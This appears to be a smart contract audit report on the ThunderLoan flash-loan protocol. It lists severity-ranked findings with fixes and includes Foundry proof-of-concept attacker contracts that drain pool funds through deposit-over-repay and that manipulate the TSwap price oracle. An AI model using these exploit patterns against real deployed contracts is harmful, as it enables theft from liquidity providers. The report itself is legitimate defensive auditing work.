Protocol Audit Report

Prepared by: Bikalpa

Table of Contents

- [I-4] The `s_feePrecision` state variable is remained same throught the code. Hence, it should be marked as immutable
- [I-5] The `ThunderLoan::initialize` has `tswapAddress` in its parameters but in `OracleUpgradeable::__Oracle_init` has `poolFactoryAddress` in its parameters. This will result in incorrect initialization.
- [I-6] The `ThunderLoan::deposit` is a crucial function yet does not have any natspecs. It is good practice to have natspec on every function even if it is not that crucial.
- [I-7] The `ThunderLoan::repay` function does not allow nested flash loan.

Protocol Summary

The ⚡ ThunderLoan ⚡ protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

Bikalpa makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 026da6e73fde0dd0a650d623d0411547e3188909

Scope

```
├── interfaces
│   ├── IFlashLoanReceiver.sol
│   ├── IPoolFactory.sol
│   ├── ITSwapPool.sol
│   #── IThunderLoan.sol
├── protocol
│   ├── AssetToken.sol
│   ├── OracleUpgradeable.sol
│   #── ThunderLoan.sol
#── upgradedProtocol
    #── ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

We spent 3 days auditing this protocol and found total of 20 bugs.

Issues found

Severity	Number of Issue Found
High	4
Medium	2
Low	3
gas	4
Info	7
Total	20

Findings

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks the redemption and incorrectly sets the exchange rates.

Introduction In the Thunderloan system , the `exchangeRate` is responsible for calculating the exchange rate between assetToken and underlying tokens. In a way it is responsible to keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, updates this rate without collecting any fees. This update should be removed.

```
 function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

@>        uint256 calculatedFee = getCalculatedFee(token, amount);
@>        assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed token is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or way less than deserved.

Proof of concept

1. LP deposits.
2. User takes out a flash loan.
3. It is now impossible for LP to redeem.

▶ Proof of codes

Place the following into `ThunderLoan.t.sol`.

```
 function testRedeemAfterLoan() external setAllowedToken hasDeposits {
 uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
amountToBorrow, "");
        vm.stopPrank();

uint256 amountToRedeem = type(uint256).max ;
vm.startPrank(liquidityProvider) ;
thunderLoan.redeem(tokenA , amountToRedeem) ;
    }
```

Recommended Mitigation Removed the incorrectly updated exchange rate lines from `deposit`.

```
   function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) /
exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

-        uint256 calculatedFee = getCalculatedFee(token, amount);
-        assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[H-2] All the funds can be stolen if the flash loan is returned using deposit()

Description : The flashloan() performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing endingBalance with startingBalance + fee. However, a vulnerability emerges when calculating endingBalance using token.balanceOf(address(assetToken)).

Exploiting this vulnerability, an attacker can return the flash loan using the deposit() instead of repay(). This action allows the attacker to mint AssetToken and subsequently redeem it using redeem(). What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

Impact : An attacker can acquire a flash loan and deposit funds directly into the contract using the deposit(), enabling stealing all the funds. All the funds of the AssetContract can be stolen.

Proof of concept : Paste the following on `ThunderLoanTest.t.sol`

▶ Code

```
function testUseDepositInsteadOfRepayToStealFunds() external setAllowedToken
hasDeposits {
 vm.startPrank(user) ;
 uint256 amountToBorrow = 50e18 ;
 uint256 fee = thunderLoan.getCalculatedFee(tokenA , amountToBorrow) ;
DepositOverRepay dor = new DepositOverRepay(address(thunderLoan)) ;
tokenA.mint(address(dor),fee) ;
thunderLoan.flashloan(address(dor) , tokenA , amountToBorrow , "") ;
dor.redeemMoney() ;
vm.stopPrank() ;

assert(tokenA.balanceOf(address(dor)) > 50e18+fee) ;
```

```
 }



 contract DepositOverRepay is IFlashLoanReceiver {
  ThunderLoan thunderLoan ;
  AssetToken assetToken ;
IERC20 s_token ;

    constructor(address _thunderLoan){
thunderLoan = ThunderLoan(_thunderLoan);
    }

     function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool){
            s_token =  IERC20(token) ;
            assetToken = thunderLoan.getAssetFromToken(IERC20(token)) ;
            IERC20(token).approve(address(thunderLoan) , amount+fee) ;
            thunderLoan.deposit(IERC20(token) , amount+fee) ;

return true ;
}

function redeemMoney() external {
uint256 amount = assetToken.balanceOf(address(this)) ;
thunderLoan.redeem(s_token , amount) ;
}
 }
```

Recommended Mitigation : Add a check in deposit() to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in flashloan() and checking it in deposit().

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashloanFee` and `ThunderLoan::s_currentlyFlashLoaning`.

Description : `ThunderLoan.sol` has two variables in the following orders :

```
 uint256 private s_feePrecision;
 uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has different order.

```
    uint256 private s_flashLoanFee ;
    uint256 public constant FEE_PRECISION = 1e18 ;
```

Thunderloan.sol at slot 1,2 and 3 holds s_feePrecision, s_flashLoanFee and s_currentlyFlashLoaning, respectively, but the ThunderLoanUpgraded at slot 1 and 2 holds s_flashLoanFee, s_currentlyFlashLoaning respectively. the s_feePrecision from the thunderloan.sol was changed to a constant variable which will no longer be assessed from the state variable. This will cause the location at which the upgraded version will be pointing to for some significant state variables like s_flashLoanFee to be wrong because s_flashLoanFee is now pointing to the slot of the s_feePrecision in the thunderloan.sol and when this fee is used to compute the fee for flashloan it will return a fee amount greater than the intention of the developer. s_currentlyFlashLoaning might not really be affected as it is back to default when a flashloan is completed but still to be noted that the value at that slot can be cleared to be on a safer side.

Impact :

1. Fee is miscalculated for flashloan
2. users pay same amount of what they borrowed as fee

Proof of concept :

```
function testUpgradeBreaks() external {
    uint256 feeBeforeUpgrade = thunderLoan.getFee() ;

    vm.startPrank(thunderLoan.owner()) ;
    ThunderLoanUpgraded upgraded= new ThunderLoanUpgraded()  ;
    thunderLoan.upgradeToAndCall(address(upgraded) , "");
    uint256 feeAfterUpgrade = thunderLoan.getFee() ;
    vm.stopPrank() ;

    console2.log("Fee Before :" , feeBeforeUpgrade);
    console2.log("Fee After :" , feeAfterUpgrade);

 assert(feeBeforeUpgrade != feeAfterUpgrade);
}
```

Paste the above code in `ThunderLoanTest.t.sol`.

Recommended Mitigation : If you must remove the storage variable, leave it as a blank as to not mess up the storage slots.

```
- uint256 private s_flashLoanFee;
- uint256 public constant FEE_PRECISION = 1e18;

+    uint256 private blank_space ;
+    uint256 private s_flashLoanFee ;
+    uint256 public constant FEE_PRECISION = 1e18 ;
```

[H-4] fee are less for non standard ERC20 Token

Summary

Within the functions `ThunderLoan::getCalculatedFee()` and `ThunderLoanUpgraded::getCalculatedFee()`, an issue arises with the calculated fee value when dealing with non-standard ERC20 tokens. Specifically, the calculated value for non-standard tokens appears significantly lower compared to that of standard ERC20 tokens.

Vulnerability Details

//ThunderLoan.sol

```
 function getCalculatedFee(IERC20 token, uint256 amount) public view returns
(uint256 fee) {
        //slither-disable-next-line divide-before-multiply
@>        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token)))
/ s_feePrecision;
@>        //slither-disable-next-line divide-before-multiply
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

```
//ThunderLoanUpgraded.sol

 function getCalculatedFee(IERC20 token, uint256 amount) public view returns
(uint256 fee) {
        //slither-disable-next-line divide-before-multiply
@>        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token)))
/ FEE_PRECISION;
        //slither-disable-next-line divide-before-multiply
@>        fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION;
    }
```

Impact

Let's say:

- user_1 asks a flashloan for 1 ETH.
- user_2 asks a flashloan for 2000 USDT.

```
function getCalculatedFee(IERC20 token, uint256 amount) public view returns
(uint256 fee) {

        //1 ETH = 1e18 WEI
        //2000 USDT = 2 * 1e9 WEI

        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) /
```

```
s_feePrecision;

        // valueOfBorrowedToken ETH = 1e18 * 1e18 / 1e18 WEI
        // valueOfBorrowedToken USDT= 2 * 1e9 * 1e18 / 1e18 WEI

        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;

        //fee ETH = 1e18 * 3e15 / 1e18 = 3e15 WEI = 0,003 ETH
        //fee USDT: 2 * 1e9 * 3e15 / 1e18 = 6e6 WEI = 0,000000000006 ETH
    }
```

The fee for the user_2 are much lower then user_1 despite they asks a flashloan for the same value (hypotesis 1 ETH = 2000 USDT).

Recommendations

Adjust the precision accordinly with the allowed tokens considering that the non standard ERC20 haven't 18 decimals.

Medium

[M-1] Using TSwap as a price oracle leads to price and oracle manipulation attacks.

Description : The TSwap protocol is a constant product formula based in AMM. The price of token is determined by how many reserves are on either side of a pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of token in the same transaction, essentially ignoring the protocol fees.

Impact : Liquidity providers will drastically reduced fee for providing liquidity.

Proof of Concept :

The following all happens in 1 transaction.

1. User takes a flash loan from ThunderLoan for 1000 tokenA. They are charged the original fee fee1. During the flash loan, they do the following:
    1. User sells 1000 tokenA, tanking the price.
2. Instead of repaying right away, the user takes out another flash loan for another 1000 tokenA.
    1. Due to the fact that the way ThunderLoan calculates price based on the TSwapPool, this second flash loan is substantially cheaper.

```
function getPriceInWeth(address token) public view returns (uint256) {
    address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
    return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
```

3. The user then repays the first flash loan, and then repays the second flash loan.

▶ Code

```
 function testPriceOracleManipulation() external{
        thunderLoan = new ThunderLoan() ;
    ERC20Mock newTokenA = new ERC20Mock();
       proxy = new ERC1967Proxy(address(thunderLoan) , "");
       BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth)) ;
       address tswapPool = pf.createPool(address(tokenA)) ;
       thunderLoan = ThunderLoan(address(proxy)) ;
       thunderLoan.initialize(address(pf)) ;

       vm.startPrank(liquidityProvider) ;
       tokenA.mint(liquidityProvider , 100e18) ;
       tokenA.approve(address(tswapPool) , 100e18) ;
       weth.mint(liquidityProvider , 100e18) ;
       weth.approve(address(tswapPool) , 100e18) ;
       BuffMockTSwap(tswapPool).deposit(100e18,100e18,100e18,block.timestamp) ;
vm.stopPrank();

vm.prank(thunderLoan.owner()) ;
thunderLoan.setAllowedToken(tokenA , true) ;


vm.startPrank(liquidityProvider) ;
tokenA.mint(liquidityProvider , 1000e18);
tokenA.approve(address(thunderLoan) , 1000e18);
thunderLoan.deposit(tokenA , 100e18) ;
vm.stopPrank() ;

uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA , 100e18) ;
console2.log("Normal Fee Cost Is : ", normalFeeCost);
// 0.296147410319118389

uint256 amountToBorrow = 50e18 ;
MaliciousFlashLoanReceiver flr = new
MaliciousFlashLoanReceiver(address(tswapPool),address(thunderLoan),address(thunder
Loan.getAssetFromToken(tokenA))) ;

vm.startPrank(user);
tokenA.mint(address(flr) , 100e18) ;
thunderLoan.flashloan(address(flr) , tokenA, amountToBorrow,"") ;
vm.stopPrank();

uint256 attackedFee = flr.fee1() + flr.fee2() ;
console2.log("attackedFee : ", attackedFee) ;
//0.214167600932190305
assert(attackedFee < normalFeeCost) ;
 }

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
  ThunderLoan thunderLoan ;
  address repayAddress ;
  BuffMockTSwap tswapPool ;
```

```
bool attacked ;
uint256 public fee1 ;
uint256 public fee2 ;

    constructor(address _tswappool , address _thunderLoan, address _repayAddress){
tswapPool = BuffMockTSwap(_tswappool);
thunderLoan = ThunderLoan(_thunderLoan);
repayAddress = _repayAddress ;
    }

     function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool){
if(!attacked){
fee1 = fee ;
attacked = true ;

uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18 , 100e18, 100e18)
;
IERC20(token).approve(address(tswapPool) , 50e18) ;
tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought ,
block.timestamp) ;

thunderLoan.flashloan(address(this) , IERC20(token), amount , "");

// IERC20(token).approve(address(thunderLoan), amount+fee);
// thunderLoan.repay(IERC20(token) , amount+fee);

IERC20(token).transfer(address(repayAddress) , amount+fee) ;

}else{

fee2 = fee ;

// IERC20(token).approve(address(thunderLoan), amount+fee);
// thunderLoan.repay(IERC20(token) , amount+fee);
IERC20(token).transfer(address(repayAddress) , amount+fee) ;

}
return true ;
        }
}
```

Recommended Mitigation : Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-2] No address check of msg.sender at `ThunderLoan::repay`.

Description : The `repay` function inside `ThunderLoan` doesnot contain any sort of check for msg.sender hence resulting in anyone to repay any others flashloan instead of paying flashloan by the one who called it.

Impact : Any one can repay the flashloan of a person.

Recommended Mitigation : Create a mapping that stores user address after taking a token.

▶ Details

```
 function repay(IERC20 token, uint256 amount) public { //report-written make it
external
        if (!s_currentlyFlashLoaning[token]) {
            revert ThunderLoan__NotCurrentlyFlashLoaning();
        }
        AssetToken assetToken = s_tokenToAssetToken[token];

+         if (msg.sender != s_currentReceiver[token]) {
+        revert ThunderLoan__InvalidRepayer();
+    }

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Low

[L-1] The address of parameter in calling repay function at `IThunderLoan` is wrong.

Description : The `IThunderLoan` interface is calling repay function. However, in `IThunderLoan` function is calling address and in `ThunderLoan` contract the function is calling IERC20 address.

Impact : Using address in the interface suggests any address can be passed — even non-token addresses — which might not be safe.

Proof of Concept :

1. Malicious or incorrect contract calls `repay` function with a non token address.
2. It will cause revert at runtime.

Recommended Mitigation : Correct the calling in `IThunderLoan`.

```
+    function repay(IERC20 token, uint256 amount) external;
-    function repay(address token, uint256 amount) external;
```

[L-2] The `ThunderLoan::initialize` could be front runned.

Description : The `ThunderLoan::initialize` is not protected by any onlyOwner modifier.

Impact : `ThunderLoan::initialize` can be front run after deploying `ThunderLoan` contract by mev bots. The attacker then will have all of the power of this contract. He can add his malicious `TswapAddress`.

Recommended Mitigation :

```
function initialize(address tswapAddress) external initializer {
+   require(msg.sender==trustedInitializer , "No trusted deployer") ;
        __Ownable_init(msg.sender);
        __UUPSUpgradeable_init();
        __Oracle_init(tswapAddress);
        s_feePrecision = 1e18;
        s_flashLoanFee = 3e15; // 0.3% ETH fee
    }
```

[L-3] The `ThunderLoan::updateFlashLoanFee` is missing event and emit.

Description : The updateFlashLoanFee function updates a critical state variable s_flashLoanFee, but does not emit an event upon change. This limits visibility for off-chain services that rely on events to stay in sync with contract state.

Impact : Off-chain indexers, dashboards, or backend services may fail to detect changes in the flash loan fee.

Users or integrators might operate on outdated fee data, leading to confusion or incorrect UX behavior.

Proof of Concept : a) updateFlashLoanFee(5000) is called.

b) The change is applied on-chain, but no event is emitted.

c) Off-chain systems don't detect the change → frontend still displays old fee (e.g., 3000).

d) Users are surprised to see different fees being charged than expected.

**Recommended Mitigation 🤫*Declare and emit an event when the flash loan fee is updated.

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit(newFee , block.timestamp) ;
    }
```

Gas

[G-1] To many of same storage reads in `AssetToken::updateExchangeRate`. This will consume a lot of gas. It is better to store those storage variable inside a memory.

```
  function updateExchangeRate(uint256 fee) external onlyThunderLoan {
+        uint256 exchangeRate = s_exchangeRate ;

        uint256 newExchangeRate = exchangeRate * (totalSupply() + fee) /
totalSupply();

        if (newExchangeRate <= exchangeRate) {
            revert AssetToken__ExhangeRateCanOnlyIncrease(exchangeRate,
newExchangeRate);
        }
        exchangeRate = newExchangeRate;
        emit ExchangeRateUpdated(exchangeRate);
    }
```

[G-2] The `ThunderLoan::ThunderLoan__ExhangeRateCanOnlyIncrease` is not used anywhere.

```
-    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

[G-3] The `ThunderLoan::repay` function is nowhere used inside that contract, hence it should be marked external instead of public.

```
-    function repay(IERC20 token, uint256 amount) public {
+    function repay(IERC20 token, uint256 amount) external {
```

[G-4] The The `ThunderLoan::getAssetFromToken` and `ThunderLoan::isCurrentlyFlashLoaning` function is nowhere used inside that contract, hence it should be marked external instead of public.

```
-     function getAssetFromToken(IERC20 token) public view returns (AssetToken) {
+     function getAssetFromToken(IERC20 token) external view returns (AssetToken)
{
-     function isCurrentlyFlashLoaning(IERC20 token) public view returns (bool) {
+     function isCurrentlyFlashLoaning(IERC20 token) external view returns (bool)
{
```

Informational

[I-1] The `IThunderLoan` inside `IFlashLoanReceiver` is not used. No need to import it.

```
- import { IThunderLoan } from "./IThunderLoan.sol";
```

[I-2] The `Ithunderloan` contract should be implemented by thunderloan contract in.

[I-3] No zero address check on `OracleUpgradeable::__Oracle_init_unchained`.

```
 function __Oracle_init_unchained(address poolFactoryAddress) internal
onlyInitializing {
+       require(poolFactoryAddress != address(0)) ;
        s_poolFactory = poolFactoryAddress;
    }
```

[I-4] The `s_feePrecision` state variable is remained same throught the code. Hence, it should be marked as immutable

```
-    uint256 private s_feePrecision;
```

[I-5] The `ThunderLoan::initialize` has `tswapAddress` in its parameters but in `OracleUpgradeable::__Oracle_init` has `poolFactoryAddress` in its parameters. This will result in incorrect initialization.

[I-6] The `ThunderLoan::deposit` is a crucial function yet does not have any natspecs. It is good practice to have natspec on every function even if it is not that crucial.

[I-7] The `ThunderLoan::repay` function does not allow nested flash loan.